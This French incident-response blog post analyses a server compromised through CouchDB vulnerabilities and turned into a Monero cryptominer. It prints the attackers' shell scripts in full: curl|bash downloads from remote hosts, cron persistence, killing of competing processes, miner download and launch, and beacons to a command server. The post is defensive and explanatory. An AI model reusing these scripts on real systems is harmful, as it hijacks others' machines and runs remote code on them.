Compromission d'une machine par un cryptominer Monero

le vendredi 30 mars 2018

Bearstech | Dernière mise à jour : vendredi 30 mars 2018

Une brève analyse de la compromission d'une machine pour miner de la crypto monnaie

Notre prochain webinar

Avec l'émergence et le succès des crypto monnaies, une nouvelle activité frauduleuse tend aujourd'hui à se développer, dans le dos des administrateurs systèmes : le minage. Le minage consiste à transformer du temps de calcul CPU en monnaie virtuelle, Bitcoins ou autres. Les ressources de vos machines deviennent donc la cible de pirates d'un nouveau genre qui s'adonnent à cette activité qui peut s'avérer fort lucrative. En février dernier, une attaque a été lancée, nous avons été confrontés en cette occasion au cas d'un client qui en a été victime, nous vous proposons donc de partager avec vous ce petit retour d'expérience.

Les symptômes

Nous avons été contacté par une société de développement web qui se plaignait de grosses lenteurs sur son serveur de bases de données. Sa stack se composait principalement d'un serveur Couchdb, un serveur MongoDB, un serveur MySQL, de Docker, de KVM pour la partie virtualisation, ainsi que de sites web Drupal et Wordpress. Doté d'une pile logicielle moderne mais chargée et d'un système d'exploitation qui n'est plus maintenu... toutes les conditions étaient réunies pour qu'une compromission se produise. Voici comment.

Détection et diagnostic

Une simple analyse des processus laissait apparaître un processus nommé supsplk tournant avec les droits de l'utilisateur CouchDB faisait état d'une consommation CPU anormale (667,8%)

couchdb 20 0 861740 19616 2308 S 667,8 0,1 89772:00 supsplk

Notez que ce processus tourne sous le user couchdb, ce qui nous donne une sérieuse indication sur l'origine de la compromission. Il s'agit probablement d'un problème lié à CouchDB, en l'occurence le CVE-2017-12635. L'exploitation de cette vulnérabilité permet l'envoi de documents _user menant à une simple escalation de privilège incluant le rôle _admin. Une seconde vulnérabilité, le CVE-2017-12636 faisant actuellement l'objet d'une ré-analyse de criticité. Cette vulnérabilité permet à un utilisateur Apache CouchDB doté du rôle _admin d'exécuter arbitrairement des commandes shell. Les deux vulnérabilités portent sur des versions de CouchDB avant les versions 1.7.0 et pour la branche 2.x avant 2.1.1.

A ce stade, nous avons une forte suspicion sur le fait que ces deux vulnérabilités combinées sont la cause de la compromission de la machine, qui ne semble pas rootée et avec ce processus qui tourne au nom de l'utilisateur CouchDB.

Le p0wn

Un fichier trouvé dans le /tmp et nommé 3.sh

# cat 3.sh
curl -s http://158.69.xxx.xxx:8220/logo3.jpg | bash -s

Ce script lance la commande curl pour télécharger le payload distant localisé sur un serveur compromis et nommé logo3.jpg. Il ne s'agit évidemment pas d'une image, mais d'un shell script. Le payload n'étant pas même encodé, on peut voir ce qu'il fait exactement, en voici un extrait (NB: l'hébergeur de la machine compromise hébergeant les fichiers servant à infecter d'autres machine a été prévenu par nos soins et a rapidement fait le nécessaire pour nettoyer cette machine) :

ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "snapd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mysql_dump"|awk '{print $2}'|xargs kill -9
crontab -r || true && \
echo "* * * * * curl -s http://158.69.xxx.xxx:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
docker pause `docker ps|grep kube-apis |awk '{print $1}'`
docker pause `docker ps|grep nginx78 |awk '{print $1}'`
curl -o /var/tmp/config.json http://158.69.xxx.xxx:8220/config_1.json
curl -o /var/tmp/supsplk http://158.69.xxx.xxx:8220/gcc
chmod 777 /var/tmp/supsplk
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./supsplk -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep supsplk |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://158.69.xxx.xxx:8220/c1.json
curl -o /var/tmp/supsplk http://158.69.xxx.xxx:8220/minerd
chmod 777 /var/tmp/supsplk
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./supsplk -c config.json -t `echo $cores` >/dev/null &
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://158.69.xxx.xxx:8220/kworker.json
curl -o /var/tmp/supsplk http://158.69.xxx.xxx:8220/atd2
chmod 777 /var/tmp/supsplk
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./supsplk -c config.json -t `echo $cores` >/dev/null &
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://158.69.xxx.xxx:8220/kworker.json
curl -o /var/tmp/supsplk http://158.69.xxx.xxx:8220/atd3
chmod 777 /var/tmp/supsplk
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./supsplk -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep supsplk |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/supsplk http://158.69.xxx.xxx:8220/yam
chmod 777 /var/tmp/supsplk
cd /var/tmp
nohup ./supsplk -c x -M stratum+tcp://xxxxxxxxxxxxxxxxxxxxxxxxxxx:x@monerohash.com:3333/xmr >/dev/null &
fi
echo "runing....."

On ira donc retrouver nos fichiers malicieux téléchargés par ce script dans le répertoire /var/tmp/

Toujours dans le répertoire /tmp on trouve d'autres fichiers suspects :

root@nsxxxxxs :/tmp# ls
3.sh hhh-xxxxxxxxxxxxxxxxxxxxxxxxxxx.1ock setupsh.lock tmpfile 
BoomBoom hhh-xxxxxxxxxxxxxxxxxxxxxxxxxxx.1ock Silence tmp.txt 
cpu_stats setup.sh systemd-private-xxxxxxxxxxxxxxxxxxxxxxxxxxx-systemd-timesyncd.service-ZFZAjf
  • Le binaire nommé BoomBoom contient une partie du cryptominer.

  • Idem pour le fichier nommé Silence dans le même répertoire

  • Idem pour le binaire jaav localisé dans le /var/tmp :

  • Comme le binaire vpz lui aussi déployé dans le /var/tmp :

  • Et enfin le binaire supsplk toujours dans le /var/tmp :

D'autres fichiers de configuration sont appelés depuis un site russe probablement compromis, depuis le script setup.sh :

kill -9 13090
#!/bin/bash

# find a good writable path
self="/tmp/setup.sh"
paths=("/var/tmp" "/tmp" "${PWD}")
workdir=""
files="http://mms.xxxxxxxxxxx.ru/includes/libraries/files.tar.gz"
notifyurl="http://mms.xxxxxxxxxxx.ru/includes/libraries/notify.php?p=sf"
product="sf"
setupurl="http://mms.xxxxxxxxxxx.ru/includes/libraries/getsetup.php?p=sf"
lockfile="/tmp/setupsh.lock"

notify ()
{
    curl -s -F "msg=$1" "${notifyurl}" > /dev/null 2>&1  
}

#make sure we're only running one instance
if [ -f "$lockfile" ]; then
    exit;
fi

#lock
touch $lockfile

for i in ${paths[@]}; do
    if [ -w "${i}" ]; then
        workdir=${i}
        break
    fi
done

# if no writable dir found
if [ -z "$workdir" ]; then
    notify "no write"
    exit
fi

# kill old instances of xmrig

if [[ $(ps -ef | grep xmrig | grep -v grep | wc -l) != 0 ]]; then
    notify "xmrig found"
    killall xmrig
fi

# save current crontab to a file

cronfile="${workdir}/.crontab.tmp"
crontab -l > "${cronfile}"

# remove old /var/tmp/check-****.sh from cron

sed -i '/\/var\/tmp\/check-/d' "${cronfile}"


# check if we already have cron setup
if ! grep -q "${setupurl}" "${cronfile}"; then

    # setup new cron if needed
    echo "51 3,6,9,12,15,18,21 * * * curl -s \"${setupurl}\" | bash" > "${cronfile}"

    # report to hq
    notify "Cron installed"

fi

crontab "${cronfile}"
rm -f "${cronfile}"

# check if xmrig is where we want it to be - $workdir/.X1M-Unix
xmrigdir="${workdir}/.X1M-Unix"
if [ ! -d "${xmrigdir}" ]; then    
    # if can't find xmrig - download new
    mkdir "${xmrigdir}"
fi

download=0
# check if we have executable
if [ ! -f "${xmrigdir}/fs-manager" ]; then
    notify "fs-manager not found"
    download=1
else
    notify "fs-manager found"
    # verify config is up to date
       # if not - kill xmrig, update config
fi


launch=0
if [ $download = 1 ]; then
    notify "Downloading files"

    curl -s -o "${xmrigdir}/files.tar.gz" "${files}"

    if [ ! -f "${xmrigdir}/files.tar.gz" ]; then
        notify "files dl failed"
        exit
    fi

    cd "${xmrigdir}"
    tar xvzf files.tar.gz > /dev/null 2>&1


    if [ ! -f "fs-manager" ]; then
        notify "executable not found"
        exit
    fi

    rm -f files.tar.gz
    chmod +x fs-manager


    launch=1
fi

# check if xmrig is runing
if [[ $(ps -ef | grep fs-manager | grep -v grep | wc -l) = 0 ]]; then
    # if not already runing, launch xmrig with nohup
    launch=1
fi

if [ $launch = 1 ]; then
    #nohup
    cd "${xmrigdir}"

    if [ -f "out.log" ]; then
        last="$(tail -n 1 out.log)"
        notify "nohup: ${last}"
        notify "uname: $(uname -a)"
    fi

    nohup ./fs-manager > out.log 2>&1 &
fi


# report to hq if xmrig is runing (hashrate) or if glibc not found or if connection refused or elf not found or upload xmrig/nohup log if can't determine the reason

notify "all done"

rm -f "${lockfile}"

Dans le fichier tmpfile, on trouve un script intéressant qui indique le chemin d'installation du kit de déploiement qui se trouve lui même sur la machine http://45.76.xxx.xxx/files.tar.gz voir la note de setup ici http://45.76.xxx.xxx/setup.txt

kill -9 8953
#!/bin/bash

# find a good writable path
self="/tmp/setup.sh"
paths=("/var/tmp" "/tmp" "${!!PWD !!}")
workdir=""
files="http://45.76.xx.xx/files.tar.gz"
setupurl="http://45.76.xx.xx/setup.txt"
lockfile="/tmp/setupdb.lock"
#make sure we're only running one instance

if [ -f "$lockfile" ]; then
  exit;
fi

#lock
touch $lockfile

for i in ${!!paths[@] !!}; do
  if [ -w "${!!i !!}" ]; then
  workdir=${!!i !!}
  break
  fi
done

# if no writable dir found
if [ -z "$workdir" ]; then
  exit
fi

# kill old instances of xmrig
touch /tmp/setupsh.lock
pkill xmrig
pkill fs-manager
pkill -f atd
pkill -f accounts-daemon
pkill -f 192.99.xx.xx
pkill -9 192.99.xx.xx
pkill -f 142.4.xx.xx
pkill -9 142.4.xx.xx
pkill -f myatd
pkill -f minergate
pkill -f minergate-cli
pkill -f ./sshd
pkill -f ddg
pkill -f 128.199.xx.xx
pkill -f mutex
pkill -f mule
pkill -f pubg
pkill -f watch-smart
pkill -f carbon
pkill -f Carbon
pkill -f AnXqV.yam
pkill -f vpp
pkill -f wipefs
pkill -f fs-manager
rm -rf /dev/shm/jboss
pkill -f minerd
pkill -f vpz
pkill -f 94.250.xx.xx
pkill -f Silence
pkill -f klogd
pkill -f BoomBoom
# save current crontab to a file

cronfile="${!!workdir !!}/.crontab.tmp"
crontab -l > "${!!cronfile !!}"

# remove old /var/tmp/check-****.sh from cron

sed -i '/\/var\/tmp\/check-/d' "${!!cronfile !!}"

if [[ $(crontab -l |grep -v grep |grep wget|wc -l) = 1 ]]; then
  crontab -r
  pkill -f vpz
fi

# check if we already have cron setup
if ! grep -q "${!!setupurl !!}" "${!!cronfile !!}"; then
  # setup new cron if needed
  echo "4 2,5,8,11,14,17,20 * * * curl -s \"${!!setupurl !!}\" |bash" > "${!!cronfile !!}"
fi

crontab "${!!cronfile !!}"
rm -f "${!!cronfile !!}"

# check if xmrig is where we want it to be - $workdir/.X11M-Unix
xmrigdir="${!!workdir !!}/.X11M-Unix"
if [ ! -d "${!!xmrigdir !!}" ]; then
  # if can't find xmrig - download new
  mkdir "${!!xmrigdir !!}"
fi

download=0
# check if we have executable
if [ ! -f "${!!xmrigdir !!}/db-manager" ]; then
  download=1
fi

launch=0
if [ $download = 1 ]; then
  curl -s -o "${!!xmrigdir !!}/files.tar.gz" "${!!files !!}"

  if [ ! -f "${!!xmrigdir !!}/files.tar.gz" ]; then
  exit
  fi

  cd "${!!xmrigdir !!}"
  tar xvzf files.tar.gz > /dev/null 2>&1

  if [ ! -f "db-manager" ]; then
  exit
  fi

  rm -f files.tar.gz
  chmod +x db-manager
  launch=1
fi

# check if xmrig is runing
if [[ $(ps -ef | grep db-manager | grep -v grep | wc -l) = 0 ]]; then
  # if not already runing, launch xmrig with nohup
  launch=1
fi

if [ $launch = 1 ]; then
  #nohup
  cd "${!!xmrigdir !!}"
  proc=`grep -c processor /proc/cpuinfo`
  nohup ./db-manager -c config.json -t `echo $proc` >/dev/null &
fi
# report to hq if xmrig is runing (hashrate) or if glibc not found or if connection refused or elf not found or upload xmrig/nohup log if can't determine the reason
rm -f "${!!lockfile !!}"

C'est enfin dans les répertoires cachés .X11M-Unix/ et .X1M-Unix/ que l'on trouvera les fichiers de configuration de notre pirate pour envoyer le fruit de son vol de ressources :

{
    "algo": "cryptonight",
    "av": 0,
    "background": false,
    "colors": true,
    "cpu-affinity": null,
    "cpu-priority": null,
    "donate-level": 0,
    "log-file": null,
    "max-cpu-usage": 90,
    "print-time": 60,
    "retries": 5,
    "retry-pause": 5,
    "safe": false,
    "syslog": false,
    "threads": null,
    "pools": [
        {
            "url": "stratum+tcp://monerohash.com:5555",
            "user": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:x",
            "pass": "x",
            "keepalive": false,
            "nicehash": false
        }
    ]
}
{
"url": "poolsupportxmncom",
"user":
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"pass": "x",
"keepalive": true,
"nicehash": false

"url": "stratum+tcp://monerohash.com:5555",
"user":
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"pass": "x",
"keepalive": false,
"nicehash": false
}

Compromission des machines virtuelles

Le Dom0 compromis, il devenait alors trivial pour le pirate d'infecter les machines virtuelles, ce qui a été chose faite. Nous avons donc procédé à un nettoyage complet des ces VM. A ce stade il est intéressant de noter que le pirate minait de la crypto monnaie (du Monero) pour des pools différents dans chaque machine virtuelle. Ainsi en multipliant les pools de minage, et avec plusieurs machines compromises, il n'attire pas l'attention sur l'origine de son minage. Enfin Monero, crypto monnaie libre et open source, met l'accent sur la vie privée et la décentralisation.

La mésaventure de ce client démontre une fois de plus l'importance de conserver un système à jour, et de ne faire tourner que les services nécessaires au fonctionnement de l'organisation, deux points ici qui faisaient défaut.

Service Hébergement et Infogérance Cloud couchdb

Bearstech vous propose ses services Hébergement et Infogérance Cloud couchdb

Découvrir ce service

Partager cet article

Flux RSS

flux rss

Partager cet article :

Nos expertises technologiques